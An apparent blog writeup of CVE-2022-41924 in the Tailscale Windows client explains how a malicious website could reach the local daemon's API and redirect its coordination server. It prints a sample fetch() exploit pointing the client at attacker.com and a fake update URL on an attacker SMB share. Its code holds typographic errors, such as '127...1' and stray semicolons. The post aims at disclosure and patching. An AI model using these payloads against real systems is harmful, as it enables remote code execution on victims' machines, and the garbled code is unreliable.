In late 2022, a critical security vulnerability was identified in the Tailscale Windows client. Now tracked as CVE-2022-41924, this flaw allowed a malicious website to hijack the configuration of Tailscale's local daemon (tailscaled) and, under some circumstances, achieve remote code execution on the victim’s machine. This post will break down how the bug worked, walk through technical details you won't find outside this writeup, show example code, and most importantly—explain how to protect yourself.

What Is Tailscale?

Tailscale is a popular mesh VPN solution designed to make secure connections between devices easy and seamless. Under the hood, it uses WireGuard to create encrypted tunnels, but it offers a user-friendly interface and additional management features.

The Windows client for Tailscale comes with two major pieces

- tailscaled: The background service (daemon) that joins the device to the mesh network and talks to the coordination server.
- Tailscale GUI: The graphical interface users interact with, which talks to tailscaled via a local TCP socket.

The bug in question was that this internal API was exposed on a local TCP port with weak protections:

There was no Host header or origin checking.

- The API was supposed to be used only by the GUI, but it listened on a normal localhost port (e.g., 127...1:port).

Why Does This Matter?

Modern browsers (like Chrome, Edge, Firefox) allow JavaScript running in a webpage to make requests to localhost under some circumstances. If a user visits a maliciously crafted website, it can reach out to services running on their own computer!

The lack of proper validation and authentication in Tailscale's API meant that any script running in the browser could talk to tailscaled, as though it were the GUI. That script could then reconfigure Tailscale in dangerous ways.

What Could Go Wrong? Practical Exploit Walkthrough

Let's see step-by-step how an attacker could leverage this vulnerability.

User visits evil.com: They use Chrome on Windows and have Tailscale running.

2. evil.com uses JavaScript to make a POST request to http://127...1:port/localapi/v/config (port and URL example).
3. API call changes Tailscale's coordination server to a malicious endpoint (most Tailscale clients allow this via the API).
4. Attacker's coordination server now controls responses, pushing back malicious URLs for an update, or even an SMB share.
5. tailscaled downloads and runs payloads as instructed, under its own user context—resulting in remote code execution.

Here's a simplified version of the JavaScript code an attacker might use

// This assumes the local API is on port 41112 (Tailscale's default on Windows)
fetch('http://127...1:41112/localapi/v/setprefs';, {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        "CoordinationServer": "https://attacker.com/fake-coord/";
    })
})
.then(res => res.json())
.then(console.log)
.catch(console.error);

Note: This example assumes CORS was not enforced on this port—part of the root vulnerability.

After the coordination server is replaced, it could serve a configuration like

{
    "UpdateURL": "\\\\attacker.com\\payload\\update.exe"
}

Tailscaled would trust this, download the payload as an update, and execute.

Affected Versions: All Tailscale for Windows clients before v1.32.3.

- Attack Prerequisites: User must visit a malicious website while running Tailscale for Windows.

Impact: Full remote code execution (Code runs as the user who started tailscaled).

Remediation: If you use Tailscale on Windows, upgrade immediately to v1.32.3 or later, where the binding is now properly secured.

Technical Details: Why Was This Possible?

1. Localhost API Binding: API was exposed on a local TCP socket (e.g., 127...1:<port>), not on a Unix socket or named pipe.
2. Lack of Host/Origin Checking: The API did not check the Host or perform origin validation, so web browsers on the same device could talk to it.

Why Wasn't This Noticed Before?

Old assumptions that browser JavaScript couldn't reach localhost are no longer true. This vulnerability exemplifies the "localhost is secure" fallacy.

References & Further Reading

- Tailscale Security Advisory for CVE-2022-41924
- CVE Record on NVD
- Tailscale Release v1.32.3

Conclusion

CVE-2022-41924 reminds us all: just because a service is listening on localhost does not mean it is safe from web browser attack. Tailscale made the right move—upgrading to v1.32.3 or later is essential for any Windows user.

Stay safe, and patch early!

*Exclusive for this post. If you want more deep dives on VPN and network security, let us know in the comments!*

Timeline

Published on: 11/23/2022 19:15:00 UTC
Last modified on: 12/01/2022 15:45:00 UTC